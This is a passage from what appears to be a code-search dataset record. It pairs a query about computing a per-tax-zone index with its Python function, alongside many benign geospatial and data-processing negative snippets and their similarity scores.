varname='contours'):\\n\\n geojsoncontour = {\\n \\\"type\\\": \\\"MultiPolygon\\\",\\n \\\"coordinates\\\": [[[[x, y] for x, y in zip(self.x[cont], self.y[cont])]] for cont in\\n range(0, self.get_contours_number)]\\n }\\n\\n try:\\n with open(os.path.join(filename), 'w') as f:\\n f.write(\\\"\\\".join((\\\"var \\\", varname, \\\" = \\\")))\\n out = json.dumps(geojsoncontour, indent=2, separators=(',', ': '))\\n f.write(out)\\n except FileNotFoundError:\\n logger.error(\\\"Directory {} does not exist\\\".format(os.path.basename(filename)))\\n raise FileNotFoundError('Directory does not exist')\",\n \"def create_features_table():\\n\\n table_name = 'features'\\n sql_query = f\\\"\\\"\\\"CREATE OR REPLACE TABLE `{GCP_PROJECT}.{BQ_TEMP_DATASET}.{table_name}`\\n AS\\n SELECT COALESCE(osm_id, osm_way_id) AS osm_id, osm_version, osm_timestamp, 'point' AS feature_type, all_tags, geometry FROM `{GCP_PROJECT}.{BQ_SOURCE_DATASET}.points` \\n UNION ALL\\n SELECT COALESCE(osm_id, osm_way_id) AS osm_id, osm_version, osm_timestamp, 'line' AS feature_type, all_tags, geometry FROM `{GCP_PROJECT}.{BQ_SOURCE_DATASET}.lines`\\n UNION ALL\\n SELECT COALESCE(osm_id, osm_way_id) AS osm_id, osm_version, osm_timestamp, 'multilinestring' AS feature_type, all_tags, geometry FROM `{GCP_PROJECT}.{BQ_SOURCE_DATASET}.multilinestrings`\\n UNION ALL\\n SELECT COALESCE(osm_id, osm_way_id) AS osm_id, osm_version, osm_timestamp, 'multipolygon' AS feature_type, all_tags, geometry FROM `{GCP_PROJECT}.{BQ_SOURCE_DATASET}.multipolygons`\\n UNION ALL\\n SELECT COALESCE(osm_id, osm_way_id) AS osm_id, osm_version, osm_timestamp, 'other_relation' AS feature_type, all_tags, geometry FROM `{GCP_PROJECT}.{BQ_SOURCE_DATASET}.other_relations` \\n \\\"\\\"\\\"\\n query_job = bq.query(sql_query)\",\n \"def _assign_data(item, field, data, points):\\n name = next(f for f in field['labels'] if item.startswith(f))\\n if field['labels'][name] == 'time':\\n data['time'] = _convert_time(points)\\n elif field['labels'][name] == 'loading':\\n data['loading'] = points\\n for (u, c) in (('(mmol/', 'mmol'), ('(mol/', 'mol'), ('(cm³/', 'cm3(STP)')):\\n if u in item:\\n data['loading_unit'] = c\\n for (u, c) in (('/g', 'g'), ('/kg', 'kg')):\\n if u in item:\\n data['adsorbent_unit'] = c\\n elif field['labels'][name] in ['relative', 'absolute', 'saturation']:\\n data['pressure'][field['labels'][name]] = points\\n else:\\n raise ValueError(\\\"Label name '{}' not recognized.\\\"\\n .format(field['labels'][name]))\",\n \"def _extract_features(self, row):\\n ncep_data = self.ncep_data\\n ncep_sfc_data = self.ncep_sfc_data\\n date = row['date']\\n features = dict(row)\\n #reduce the dimensions of ncep_data(xarray dataset) by fixing coordinates(lon,lat)\\n #and then convert it to dataframe\\n ncep_data = ncep_data[date.year] \\\\\\n .sel(lon=row['longitude'], lat=row['latitude'], method='nearest') \\\\\\n .to_dask_dataframe() \\\\\\n .compute() \\\\\\n .set_index(['level','time'])\\n #reduce the dimensions of ncep_sfc_data(xarray dataset) by fixing coordinates(lon,lat)\\n #and then convert it to dataframe\\n ncep_sfc_data = ncep_sfc_data[date.year] \\\\\\n .sel(lon=row['longitude'], lat=row['latitude'], method='nearest') \\\\\\n .to_dask_dataframe() \\\\\\n .compute() \\\\\\n .set_index(['time'])\\n\\n for level in self.levels:\\n #features at different pressure level\\n point = ncep_data.loc[level]\\n p1w = point.rolling(7).mean() # 1 Week mean\\n p2w = point.rolling(14).mean() # 2 Week mean\\n p3w = point.rolling(21).mean() # 3 Week mean\\n # \\n v0w = point.loc[date]\\n v1w = p1w.loc[date]\\n v2w = p2w.loc[date]\\n v3w = p3w.loc[date]\\n #\\n for data_var in self.ncep_data_vars:\\n features[\\\"{0}_0w_lvl_{1}\\\".format(data_var,level)] = v0w[data_var]\\n features[\\\"{0}_1w_lvl_{1}\\\".format(data_var,level)] = v1w[data_var]\\n features[\\\"{0}_2w_lvl_{1}\\\".format(data_var,level)] = v2w[data_var]\\n features[\\\"{0}_3w_lvl_{1}\\\".format(data_var,level)] = v3w[data_var]\\n #features at surface level\\n point = ncep_sfc_data\\n p1w = point.rolling(7).mean() # 1 Week mean\\n p2w = point.rolling(14).mean() # 2 Week mean\\n p3w = point.rolling(21).mean() # 3 Week mean\\n # \\n v0w = point.loc[date]\\n v1w = p1w.loc[date]\\n v2w = p2w.loc[date]\\n v3w = p3w.loc[date]\\n #\\n for data_var in self.ncep_sfc_data_vars:\\n features[\\\"{0}_0w\\\".format(data_var)] = v0w[data_var]\\n features[\\\"{0}_1w\\\".format(data_var)] = v1w[data_var]\\n features[\\\"{0}_2w\\\".format(data_var)] = v2w[data_var]\\n features[\\\"{0}_3w\\\".format(data_var)] = v3w[data_var] \\n\\n return features\",\n \"def __createField(self, field):\\n name = field['name']\\n fType = field['type']\\n fieldLength = None\\n if 'shape' in name.lower():\\n return\\n elif \\\"String\\\" in fType:\\n fieldType = \\\"TEXT\\\"\\n fieldLength = field['length']\\n elif \\\"Date\\\" in fType:\\n fieldType = \\\"DATE\\\"\\n elif \\\"SmallInteger\\\" in fType:\\n fieldType = \\\"SHORT\\\"\\n elif \\\"Integer\\\" in fType:\\n fieldType = \\\"LONG\\\"\\n elif \\\"Double\\\" in fType:\\n fieldType = \\\"DOUBLE\\\"\\n elif \\\"Single\\\" in fType:\\n fieldType = \\\"FLOAT\\\"\\n else:\\n fieldType = \\\"Unknown\\\"\\n featureClass = self.featureClassLocation + \\\"\\\\\\\\\\\" + self.name\\n validatedName = arcpy.ValidateFieldName(name, self.featureClassLocation)\\n arcpy.AddField_management(in_table=featureClass, field_name=name, field_type=fieldType, field_length=fieldLength)\",\n \"def add_collection_map(self, collmap):\\n sql_param = {}\\n sql_param[str(len(sql_param) + 1)] = collmap[COL_NAME_COLLMAP_COLLID]\\n coll_cond = SQLBinaryExpr(COL_NAME_COLLMAP_COLLID, OP_EQ, \\\":%d\\\" % (len(sql_param)))\\n sql_param[str(len(sql_param) + 1)] = collmap[COL_NAME_COLLMAP_MEASID]\\n coll_cond = SQLBinaryExpr(coll_cond, OP_AND,\\n SQLBinaryExpr(COL_NAME_COLLMAP_MEASID, OP_EQ, \\\":%d\\\" % (len(sql_param))))\\n\\n if COL_NAME_COLLMAP_BEGINTIMESTAMP in collmap and collmap[COL_NAME_COLLMAP_BEGINTIMESTAMP] is not None:\\n sql_param[str(len(sql_param) + 1)] = collmap[COL_NAME_COLLMAP_BEGINTIMESTAMP]\\n coll_cond = SQLBinaryExpr(SQLBinaryExpr(COL_NAME_COLLMAP_BEGINTIMESTAMP,\\n OP_EQ, \\\":%d\\\" % (len(sql_param))), OP_AND, coll_cond)\\n\\n if COL_NAME_COLLMAP_ENDTIMESTAMP in collmap and collmap[COL_NAME_COLLMAP_ENDTIMESTAMP] is not None:\\n sql_param[str(len(sql_param) + 1)] = collmap[COL_NAME_COLLMAP_ENDTIMESTAMP]\\n coll_cond = SQLBinaryExpr(SQLBinaryExpr(COL_NAME_COLLMAP_ENDTIMESTAMP,\\n OP_EQ, \\\":%d\\\" % (len(sql_param))), OP_AND, coll_cond)\\n\\n entries = self.select_generic_data(table_list=[TABLE_NAME_COLLMAP], where=coll_cond, sqlparams=sql_param)\\n if len(entries) <= 0:\\n collmapid = self.add_generic_data(collmap, TABLE_NAME_COLLMAP,\\n SQLUnaryExpr(OP_RETURNING, COL_NAME_COLLMAP_COLLMAPID))\\n\\n return collmapid\\n else:\\n tmp = \\\"File '%s' \\\" % collmap[COL_NAME_COLLMAP_MEASID]\\n tmp += \\\"is already assigned to collection '%s'.\\\" % collmap[COL_NAME_COLLMAP_COLLID]\\n if self.error_tolerance < ERROR_TOLERANCE_LOW:\\n raise AdasDBError(tmp)\\n else:\\n warn(tmp)\\n if len(entries) == 1:\\n return entries[0][COL_NAME_COLLMAP_COLLMAPID]\\n elif len(entries) > 1:\\n tmp = \\\"Collection mapping of file '%s' \\\" % collmap[COL_NAME_COLLMAP_MEASID]\\n tmp += \\\"cannot be resolved because it is ambiguous. (%s)\\\" % entries\\n raise AdasDBError(tmp)\",\n \"def parse_dat_row(self, row):\\n self.obstacle_data['is_group'] = False\\n for field in self.field_map:\\n field_value = self.get_raw_value_from_dat_file(row, field)\\n if field == 'marking':\\n self.obstacle_data[field] = self.get_marking_value(field_value)\\n elif field == 'lighting':\\n self.obstacle_data[field] = 'U'\\n elif field == 'obst_type':\\n self.obstacle_data['obst_type_id'] = 1\\n else:\\n self.obstacle_data[field] = field_value\",\n \"def annotate_with_geonames(f_json, f_out_json):\\n try:\\n ef_json = read_paper_json(f_json)\\n \\n annot_json = {}\\n annot_json['paper_id'] = ef_json['paper_id']\\n \\n for part, jpath in cfg.JSON_TEXT_MAP.items():\\n entities = get_nested_dict_value(ef_json, [part , 'entities'], default={})\\n lang = get_nested_dict_value(ef_json, jpath[1], default=jpath[2])\\n \\n if entities:\\n entities_df = pd.DataFrame.from_records(entities)\\n candidates_df = pd.DataFrame()\\n if 'wikidataId' in entities_df.columns:\\n candidates_df = entities_df.loc[entities_df['wikidataId'].notna()] \\\\\\n .loc[entities_df['rawName'].fillna('').str[0].str.isupper()] \\n locations_df = pd.DataFrame()\\n if 'type' in entities_df.columns:\\n #try to disambiguate type=LOCATION\\n locations_df = entities_df.loc[entities_df['type'].fillna('') == 'LOCATION']\\n locations_df[['wikidataId', 'confidence_score']] = list(locations_df['rawName'].apply(disambiguate_location, lang=lang))\\n locations_df = locations_df.loc[locations_df['wikidataId'].notna()] \\n \\n candidates_df = pd.concat([candidates_df,\\n locations_df ]).fillna('')\\n \\n \\n if candidates_df.shape[0] > 0:\\n # Look up concepts for GeoNames ID\\n candidates_df['GeoNamesID'] = candidates_df['wikidataId'].apply(lookup_concept)\\n geonames_df = candidates_df.loc[candidates_df['GeoNamesID'].notna()] \\n \\n #store_for_analysis(annot_json['paper_id'], part,candidates_df)\\n \\n if geonames_df.shape[0] > 0:\\n annot_json[part] = ef_json[part]\\n annot_json[part].pop('global_categories', None)\\n annot_json[part]['date'] = str(datetime.datetime.now())\\n # assign entities\\n annot_json[part] ['entities'] = geonames_df.to_dict(orient='records')\\n\\n\\n annot_json = {k: v for k, v in annot_json.items() if v}\\n\\n save_paper_json(f_out_json, annot_json)\\n \\n except Exception as e:\\n logger.exception('%s: %s', f_json, str(e))\\n\\n return f_out_json\",\n \"def create_table(f, geoinfo):\\n bounds_cols = xb_points + yb_points\\n df = pd.read_csv(f, delimiter=\\\";\\\", index_col=\\\"INDEX_RC\\\")\\n df[duration_name] = parse_duration_level(f)\\n df = df.join(geoinfo[[\\\"X_CENT_GEO\\\", \\\"Y_CENT_GEO\\\", \\\"Col\\\", \\\"Row\\\"]])\\n df = df.rename(columns={\\\"Col\\\": x, \\\"Row\\\": y, \\\"X_CENT_GEO\\\": lon, \\\"Y_CENT_GEO\\\": lat})\\n return df\",\n \"def add_col(self):\\r\\n reader = csv.reader(open(self.in_csvfile, newline=''))\\r\\n rows = list(reader)\\r\\n rows[0].append(self.col_name)\\r\\n for i in range(1, len(rows)):\\r\\n rows[i].append(self.cell_filler(rows[i]))\\r\\n writer = csv.writer(open(self.out_csvfile, 'w', newline=''))\\r\\n writer.writerows(rows)\",\n \"def _extend_contiguous_traj_field(self, run_idx, traj_idx, field_path, field_data):\\n\\n traj_grp = self.h5['{}/{}/{}/{}'.format(RUNS, run_idx, TRAJECTORIES, traj_idx)]\\n field = traj_grp[field_path]\\n\\n # make sure this is a feature vector\\n assert len(field_data.shape) > 1, \\\\\\n \\\"field_data must be a feature vector with the same number of dimensions as the number\\\"\\n\\n # of datase new frames\\n n_new_frames = field_data.shape[0]\\n\\n # check the field to make sure it is not empty\\n if all([i == 0 for i in field.shape]):\\n\\n # check the feature shape against the maxshape which gives\\n # the feature dimensions for an empty dataset\\n assert field_data.shape[1:] == field.maxshape[1:], \\\\\\n \\\"field feature dimensions must be the same, i.e. all but the first dimension\\\"\\n\\n # if it is empty resize it to make an array the size of\\n # the new field_data with the maxshape for the feature\\n # dimensions\\n feature_dims = field.maxshape[1:]\\n field.resize( (n_new_frames, *feature_dims) )\\n\\n # set the new data to this\\n field[0:, ...] = field_data\\n\\n else:\\n # make sure the new data has the right dimensions against\\n # the shape it already has\\n assert field_data.shape[1:] == field.shape[1:], \\\\\\n \\\"field feature dimensions must be the same, i.e. all but the first dimension\\\"\\n\\n\\n # append to the dataset on the first dimension, keeping the\\n # others the same, these must be feature vectors and therefore\\n # must exist\\n field.resize( (field.shape[0] + n_new_frames, *field.shape[1:]) )\\n # add the new data\\n field[-n_new_frames:, ...] = field_data\",\n \"def make_conn_list(self, filename):\\n geojsonfile.write_geojson_file(self.conn_data,\\n filename,\\n and_properties=True)\",\n \"def _write_comid_lat_lon_z(self):\\r\\n #only add if user adds\\r\\n if self.comid_lat_lon_z_file and os.path.exists(self.comid_lat_lon_z_file):\\r\\n #get list of COMIDS\\r\\n lookup_table = csv_to_list(self.comid_lat_lon_z_file )\\r\\n lookup_comids = np.array([int(float(row[0])) for row in lookup_table[1:]])\\r\\n \\r\\n # Get relevant arrays while we update them\\r\\n nc_comids = self.cf_nc.variables[self.output_id_dim_name][:]\\r\\n lats = self.cf_nc.variables['lat'][:]\\r\\n lons = self.cf_nc.variables['lon'][:]\\r\\n zs = self.cf_nc.variables['z'][:]\\r\\n \\r\\n lat_min = None\\r\\n lat_max = None\\r\\n lon_min = None\\r\\n lon_max = None\\r\\n z_min = None\\r\\n z_max = None\\r\\n \\r\\n # Process each row in the lookup table\\r\\n for nc_index, nc_comid in enumerate(nc_comids):\\r\\n try:\\r\\n lookup_index = np.where(lookup_comids == nc_comid)[0][0] + 1\\r\\n except Exception:\\r\\n log('COMID %s misssing in comid_lat_lon_z file' % nc_comid,\\r\\n 'ERROR')\\r\\n \\r\\n lat = float(lookup_table[lookup_index][1])\\r\\n lats[nc_index] = lat\\r\\n if (lat_min) is None or lat < lat_min:\\r\\n lat_min = lat\\r\\n if (lat_max) is None or lat > lat_max:\\r\\n lat_max = lat\\r\\n \\r\\n lon = float(lookup_table[lookup_index][2])\\r\\n lons[nc_index] = lon\\r\\n if (lon_min) is None or lon < lon_min:\\r\\n lon_min = lon\\r\\n if (lon_max) is None or lon > lon_max:\\r\\n lon_max = lon\\r\\n \\r\\n z = float(lookup_table[lookup_index][3])\\r\\n zs[nc_index] = z\\r\\n if (z_min) is None or z < z_min:\\r\\n z_min = z\\r\\n if (z_max) is None or z > z_max:\\r\\n z_max = z\\r\\n \\r\\n # Overwrite netCDF variable values\\r\\n self.cf_nc.variables['lat'][:] = lats\\r\\n self.cf_nc.variables['lon'][:] = lons\\r\\n self.cf_nc.variables['z'][:] = zs\\r\\n \\r\\n # Update metadata\\r\\n if lat_min is not None:\\r\\n self.cf_nc.geospatial_lat_min = lat_min\\r\\n if lat_max is not None:\\r\\n self.cf_nc.geospatial_lat_max = lat_max\\r\\n if lon_min is not None:\\r\\n self.cf_nc.geospatial_lon_min = lon_min\\r\\n if lon_max is not None:\\r\\n self.cf_nc.geospatial_lon_max = lon_max\\r\\n if z_min is not None:\\r\\n self.cf_nc.geospatial_vertical_min = z_min\\r\\n if z_max is not None:\\r\\n self.cf_nc.geospatial_vertical_max = z_max\\r\\n else:\\r\\n log('No comid_lat_lon_z file. Not adding values ...', 'INFO')\",\n \"def result_writer(result_poly):\\n val = {}\\n val[\\\"type\\\"] = \\\"FeatureCollection\\\"\\n val[\\\"features\\\"] = result_poly\\n with open(output_file_path, 'w') as outfile:\\n json.dump(val, outfile, indent=3)\\n outfile.close()\",\n \"def add_data(self, in_data):\\n old_data = {}\\n for field in self.fields:\\n # ToDo - might be a better way to determine the fieldname\\n if field in in_data:\\n if field in self.data:\\n old_data = dict(self.data)\\n self.data = {}\\n\\n self.data[field] = in_data[field]\\n self.data['usUnits'] = in_data['usUnits']\\n self.data['dateTime'] = in_data['dateTime']\\n return old_data\",\n \"def extract_geo_location_counter(file_path: str, geo_location_columns: list) -> str:\\n cprint(f\\\"### Function Name:-> {inspect.stack()[0][3]} ###\\\", 'yellow', 'on_grey', attrs=['bold'])\\n df = None\\n try:\\n data_file = Path(file_path)\\n all_data = dict() # this will hold the geo col as key and duplicated values as value\\n predictme_col_name = 'Model Name: ensemble: Donor Predicted Classification (>= Threshold Value)'\\n cprint(data_file.name, 'magenta', attrs=['bold'])\\n cprint(geo_location_columns, 'magenta', attrs=['bold'])\\n print('')\\n # check if the geo_location_columns is not None\\n if geo_location_columns is not None:\\n # check if the file exists\\n if data_file.exists():\\n df = pd.read_csv(data_file.as_posix(), sep=',', skipinitialspace=True)\\n filtered = (df[predictme_col_name] == 1)\\n new_filtered_df = df.loc[filtered]\\n # geo_location_columns.append(predictme_col_name) # append the predictme column to dataframe columns\\n geo_df = df.loc[filtered, geo_location_columns]\\n\\n for geo_col in geo_location_columns:\\n duplicated_values = geo_df.pivot_table(columns=[geo_col], aggfunc='size')\\n all_data[geo_col] = duplicated_values.to_dict()\\n cpprint(all_data)\\n else:\\n # file not exists\\n raise FileNotFoundError(\\\"Model output file not found!\\\")\\n except Exception as ex:\\n cprint(traceback.format_exc(), 'red')\\n log_exception(traceback.format_exc())\\n return None\\n else:\\n # for try block\\n if geo_location_columns is not None:\\n return all_data\\n else:\\n return None\",\n \"def polygons_kml(df, file_name, wkt_column=None, name_column=None, description_columns='all', exclude_columns=None, altitude=100, \\\\\\n color=simplekml.Color.red, alpha=200, color_mode=simplekml.ColorMode.normal):\\n file_name = _process_file_name(file_name)\\n description_columns = _process_description_columns(df, wkt_column, name_column, description_columns, exclude_columns)\\n kml = simplekml.Kml()\\n sharedstyle = simplekml.Style()\\n sharedstyle = _process_color('Polygon', sharedstyle, color_mode, color, alpha)\\n for index, row in df.iterrows():\\n shape = wkt.loads(row[wkt_column]) if wkt_column else wkt.loads(row[-1])\\n name = str(row[name_column]) if name_column else str(index)\\n description = _process_description(row, description_columns)\\n logging.debug(f'shape_type: {shape.type}')\\n if shape.type == 'Polygon':\\n outer_boundary, inner_boundary = _process_boundaries(dump_coords(shape), altitude)\\n pol = kml.newpolygon(\\n name=name,\\n description=description,\\n outerboundaryis=outer_boundary,\\n innerboundaryis=inner_boundary,\\n altitudemode=simplekml.AltitudeMode.relativetoground\\n )\\n pol.extrude = 1\\n pol.style = sharedstyle\\n elif shape.type == 'MultiPolygon':\\n multipol = kml.newmultigeometry(\\n name=name,\\n description=description\\n )\\n for coords_list in dump_coords(shape):\\n outer_boundary, inner_boundary = _process_boundaries(coords_list, altitude)\\n pol = multipol.newpolygon(\\n outerboundaryis=outer_boundary,\\n innerboundaryis=inner_boundary,\\n altitudemode = simplekml.AltitudeMode.relativetoground\\n )\\n pol.extrude = 1\\n multipol.style = sharedstyle\\n else:\\n print(f'{name} has bad geometry')\\n kml.save(file_name)\",\n \"def zonal_stats(src_poly, src_raster, operator=['mean'], features=None):\\n assert src_raster.geo_transform is not None, \\\"src_raster.geo_transform should not be None\\\"\\n assert isinstance(operator, list), \\\"operator should be a list of string. ex: ['mean']\\\"\\n features = list(range(src_raster.bands)) if features is None else features\\n assert len(features) == src_raster.bands, \\\"length of features should equals number of bands of the raster\\\"\\n df_shp = src_poly.copy()\\n df_shp['poly_idx'] = list(range(len(df_shp)))\\n df_shp['poly_idx'] = df_shp['poly_idx'].astype('float')\\n poly_rst = tgp.ShapeGrid.rasterize_layer(df_shp, src_raster.rows, src_raster.cols, src_raster.geo_transform, 'poly_idx', all_touched=True, no_data_value=np.nan)\\n X_combine = np.concatenate([poly_rst.data, src_raster.data], axis=-1)\\n X_combine_df = pd.DataFrame(X_combine.reshape(-1, src_raster.bands))\\n X_groupby = X_combine_df.groupby(0, as_index=False)\\n for op in operator:\\n columns = {0:'poly_idx'}\\n for f_idx, f in enumerate(features):\\n columns[f_idx+1] = f'zonal_{op}_{f}'\\n if op == 'mean':\\n df_shp = df_shp.merge(X_groupby.mean().rename(columns=columns), on='poly_idx', how='left')\\n elif op == 'max':\\n df_shp = df_shp.merge(X_groupby.max().rename(columns=columns), on='poly_idx', how='left')\\n elif op == 'min':\\n df_shp = df_shp.merge(X_groupby.min().rename(columns=columns), on='poly_idx', how='left')\\n elif op == 'median':\\n df_shp = df_shp.merge(X_groupby.median().rename(columns=columns), on='poly_idx', how='left')\\n elif op == 'sum':\\n df_shp = df_shp.merge(X_groupby.sum().rename(columns=columns), on='poly_idx', how='left')\\n elif op == 'std':\\n df_shp = df_shp.merge(X_groupby.std().rename(columns=columns), on='poly_idx', how='left')\\n elif op == 'count':\\n df_shp = df_shp.merge(X_groupby.count().rename(columns=columns), on='poly_idx', how='left')\\n else:\\n assert False, \\\"no this operator\\\"\\n return df_shp\",\n \"def raster2polygon(file_name, out_shp_fn, band_number=1, field_name=\\\"values\\\"):\\n logging.info(\\\" * Polygonizing %s ...\\\" % str(file_name))\\n # ensure that the input raster contains integer values only and open the input raster\\n file_name = float2int(file_name)\\n raster, raster_band = open_raster(file_name, band_number=band_number)\\n\\n # create new shapefile with the create_shp function\\n new_shp = create_shp(out_shp_fn, layer_name=\\\"raster_data\\\", layer_type=\\\"polygon\\\")\\n dst_layer = new_shp.GetLayer()\\n\\n # create new field to define values\\n new_field = ogr.FieldDefn(field_name, ogr.OFTInteger)\\n dst_layer.CreateField(new_field)\\n\\n # Polygonize(band, hMaskBand[optional]=None, destination lyr, field ID, papszOptions=[], callback=None)\\n gdal.Polygonize(raster_band, None, dst_layer, 0, [], callback=None)\\n\\n # create projection file\\n srs = get_srs(raster)\\n make_prj(out_shp_fn, int(srs.GetAuthorityCode(None)))\\n logging.info(\\\" * success (Polygonize): wrote %s\\\" % str(out_shp_fn))\\n return new_shp\",\n \"def add_datamap(self, ctx, datamap):\\n zing_state = self._get_zing_tx_state()\\n zing_state.datamaps.append((ctx.device(), datamap))\",\n \"def create_payload_index(self, collection_name: str, field_name: str):\\n return self.openapi_client.points_api.update_points(\\n name=collection_name,\\n wait='true',\\n collection_update_operations=FieldIndexOperationsAnyOf(create_index=field_name),\\n )\",\n \"def get_geo_tweets(filename):\\n\\n with open(filename) as f:\\n geo_data = {\\n \\\"type\\\": \\\"FeatureCollection\\\",\\n \\\"features\\\": []\\n }\\n for line in f:\\n tweet = json.loads(line)\\n if tweet['coordinates']:\\n geo_json_feature = {\\n \\\"type\\\": \\\"Feature\\\",\\n \\\"geometry\\\": tweet['coordinates'],\\n \\\"properties\\\": {\\n \\\"text\\\": tweet['text'],\\n \\\"created_at\\\": tweet['created_at']\\n }\\n }\\n geo_data['features'].append(geo_json_feature)\\n\\n return geo_data\",\n \"def get_mapnik_ds(self,**kwargs):\\n if not self.geometry_field:\\n raise ValueError('Geometry field not found')\\n\\n import itertools\\n ids = itertools.count(0)\\n assert hasattr(mapnik,'MemoryDatasource'), \\\"mapnik.MemoryDatasource requires >= mapnik 2.1\\\"\\n ds = mapnik.MemoryDatasource()\\n # todo - how to get subset of columns requested from the queryset?\\n field_names = self.qs.query.get_meta().get_all_field_names()\\n field_names.remove(self.geometry_field.name)\\n if hasattr(mapnik,'Context'):\\n context = mapnik.Context()\\n for fld in field_names:\\n context.push(fld)\\n for i in self.qs.iterator():\\n feature = None\\n if hasattr(mapnik,'Context'):\\n feature = mapnik.Feature(context,ids.next())\\n else:\\n feature = mapnik.Feature(ids.next())\\n feature.add_geometries_from_wkb(str(getattr(i,self.geometry_field.name).wkb))\\n for fld in field_names:\\n feature[fld] = getattr(i,fld)\\n ds.add_feature(feature)\\n return ds\",\n \"def ip_to_geojson(ipaddress, name=\\\"Point\\\"):\\n\\n geo = ip_to_geo(ipaddress)\\n\\n point = {\\n \\\"type\\\": \\\"FeatureCollection\\\",\\n \\\"features\\\": [\\n {\\n \\\"type\\\": \\\"Feature\\\",\\n \\\"properties\\\": {\\n \\\"name\\\": name\\n },\\n \\\"geometry\\\": {\\n \\\"type\\\": \\\"Point\\\",\\n \\\"coordinates\\\": [\\n geo[\\\"longitude\\\"],\\n geo[\\\"latitude\\\"]\\n ]\\n }\\n }\\n ]\\n }\\n\\n return point\",\n \"def write_field(self, filename, field,griddescfile=None,fieldname=None):\\n\\n nlat,nlong = field.get_grid().get_grid_dimensions()\\n if fieldname is None:\\n fieldname = 'field_value'\\n print(\\\"Writing output to {0}\\\".format(filename))\\n if griddescfile is not None:\\n output_filename=filename\\n filename=path.splitext(filename)[0] + '_temp' + path.splitext(filename)[1]\\n data_was_bool = False\\n with netCDF4.Dataset(filename,mode='w',format='NETCDF4') as dataset:\\n dataset.createDimension(\\\"latitude\\\",nlat)\\n dataset.createDimension(\\\"longitude\\\",nlong)\\n if field.get_data().dtype == np.bool_:\\n field.set_data(field.get_data().astype(np.int32))\\n data_was_bool=True\\n field_values = dataset.createVariable(fieldname,field.get_data().dtype,\\n ('latitude','longitude'))\\n field_values[:,:] = field.get_data()\\n if data_was_bool:\\n field.set_data(field.get_data().astype(np.bool_))\\n if griddescfile is not None:\\n cdo_instance = cdo.Cdo()\\n cdo_instance.setgrid(griddescfile,input=filename,output=output_filename)\\n os.remove(filename)\",\n \"def addPHdata(flight_data):\\n\\n global flight_data_log\\n\\n flight_data_log[flight_data['timestamp']] = flight_data\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.561637","0.55059373","0.5413647","0.52885896","0.5211857","0.5193927","0.51066226","0.5084411","0.50838536","0.50032544","0.49953464","0.49931327","0.49827933","0.4979779","0.4963164","0.49228954","0.49089125","0.4892675","0.48825735","0.48774529","0.48758775","0.48755366","0.48737693","0.4842182","0.48389238","0.4833909","0.48143587","0.48137662","0.48111278","0.4809574","0.47670785","0.47211316","0.47183242","0.46930358","0.46810272","0.4658238","0.46572682","0.46561137","0.4647595","0.46472955","0.46437874","0.46351644","0.46284154","0.46176","0.4615751","0.4614678","0.46139812","0.4612318","0.46073574","0.46073243","0.45887533","0.45848092","0.4577245","0.45729107","0.456694","0.45663562","0.45438054","0.4543233","0.4519453","0.4510067","0.4504601","0.4500881","0.44979483","0.4486112","0.4481743","0.4476563","0.4469339","0.4462865","0.44562992","0.44555283","0.445421","0.4452922","0.44487166","0.44479975","0.4445598","0.44429252","0.4434705","0.44284818","0.44264716","0.4412966","0.44110644","0.44056985","0.44054827","0.44024363","0.4395338","0.439376","0.43886727","0.43863523","0.43843994","0.43815288","0.43779612","0.43774807","0.43767512","0.43717158","0.43712956","0.43681926","0.43668404","0.43667355","0.43592513","0.43558422"],"string":"[\n \"0.561637\",\n \"0.55059373\",\n \"0.5413647\",\n \"0.52885896\",\n \"0.5211857\",\n \"0.5193927\",\n \"0.51066226\",\n \"0.5084411\",\n \"0.50838536\",\n \"0.50032544\",\n \"0.49953464\",\n \"0.49931327\",\n \"0.49827933\",\n \"0.4979779\",\n \"0.4963164\",\n \"0.49228954\",\n \"0.49089125\",\n \"0.4892675\",\n \"0.48825735\",\n \"0.48774529\",\n \"0.48758775\",\n \"0.48755366\",\n \"0.48737693\",\n \"0.4842182\",\n \"0.48389238\",\n \"0.4833909\",\n \"0.48143587\",\n \"0.48137662\",\n \"0.48111278\",\n \"0.4809574\",\n \"0.47670785\",\n \"0.47211316\",\n \"0.47183242\",\n \"0.46930358\",\n \"0.46810272\",\n \"0.4658238\",\n \"0.46572682\",\n \"0.46561137\",\n \"0.4647595\",\n \"0.46472955\",\n \"0.46437874\",\n \"0.46351644\",\n \"0.46284154\",\n \"0.46176\",\n \"0.4615751\",\n \"0.4614678\",\n \"0.46139812\",\n \"0.4612318\",\n \"0.46073574\",\n \"0.46073243\",\n \"0.45887533\",\n \"0.45848092\",\n \"0.4577245\",\n \"0.45729107\",\n \"0.456694\",\n \"0.45663562\",\n \"0.45438054\",\n \"0.4543233\",\n \"0.4519453\",\n \"0.4510067\",\n \"0.4504601\",\n \"0.4500881\",\n \"0.44979483\",\n \"0.4486112\",\n \"0.4481743\",\n \"0.4476563\",\n \"0.4469339\",\n \"0.4462865\",\n \"0.44562992\",\n \"0.44555283\",\n \"0.445421\",\n \"0.4452922\",\n \"0.44487166\",\n \"0.44479975\",\n \"0.4445598\",\n \"0.44429252\",\n \"0.4434705\",\n \"0.44284818\",\n \"0.44264716\",\n \"0.4412966\",\n \"0.44110644\",\n \"0.44056985\",\n \"0.44054827\",\n \"0.44024363\",\n \"0.4395338\",\n \"0.439376\",\n \"0.43886727\",\n \"0.43863523\",\n \"0.43843994\",\n \"0.43815288\",\n \"0.43779612\",\n \"0.43774807\",\n \"0.43767512\",\n \"0.43717158\",\n \"0.43712956\",\n \"0.43681926\",\n \"0.43668404\",\n \"0.43667355\",\n \"0.43592513\",\n \"0.43558422\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.8169456"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":14490,"cells":{"query":{"kind":"string","value":"Calculates an index for 'field_name' per tax zone and write to"},"document":{"kind":"string","value":"def writeIndex(map_data, field_name, maximize=True):\n ids = map_data['id']\n values = map_data[field_name]\n\n nominal_weight = 1.0 if maximize else -1.0\n index = values / (nominal_weight * values.max())\n\n toJson(field_name, pd.DataFrame({'id': ids, 'counts': index}))"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def _do_index_fields(self, doc, generator, obj, obj_weight):\n for field in self.fields + self.tags:\n # Trying to resolve field value or skip it\n # Отладочка:\n # print(field, field.resolve(obj))\n try:\n value = field.resolve(obj)\n if value is None:\n continue\n except AttributeError:\n continue\n if 